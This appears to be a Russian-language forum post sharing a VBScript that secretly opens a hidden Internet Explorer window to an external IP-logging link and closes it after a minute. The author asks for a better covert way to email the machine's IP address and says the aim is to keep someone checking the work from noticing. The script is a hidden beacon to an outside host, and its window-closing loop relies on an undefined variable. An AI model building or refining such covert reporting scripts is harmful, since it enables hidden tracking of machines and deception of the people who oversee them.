[NEOINFORMATIONIS]

На счет скрипта с отправкой ip на почту я кое что написал.... но она работает не со всем так как нужно! Если он код сам увидит то спалюсь... и не посчитает работу. Сейчас выложу сам код.

А вот и сам скрипт :
Const navOpenInBackgroundTab = &H1000

Set ie = CreateObject("InternetExplorer.Application")

Links = Array("http://speed-tester.info/link2/405623/")

ie.Visible = false '// поставьте false, чтобы не было видно браузера

first = True
For Each link In Links
If first Then
ie.Navigate2 link
first = False
Else
ie.Navigate2 link, navOpenInBackgroundTab
End If
Next

WScript.Sleep(60000) '// Задержка 60 сек.

For Each Window In CreateObject("Shell.Application").Windows
With Window
If .Name = "Windows Internet Explorer" Then
For Each link In Links
If InStr(1, .LocationURL, Title, vbTextCompare) <> 0 Then
.Quit
Exit For
End If
Next
End If
End With
Next

иначе говоря она скрытно запускает браузер переходит по ссылке а та в свое время определяет ip адрес мой.
все делает в тихом режиме.
Но такая работа безнадобность!!!

Нужен другой способ по правильному, чтобы отсылал ip на почту.

Что скажете ISKA??!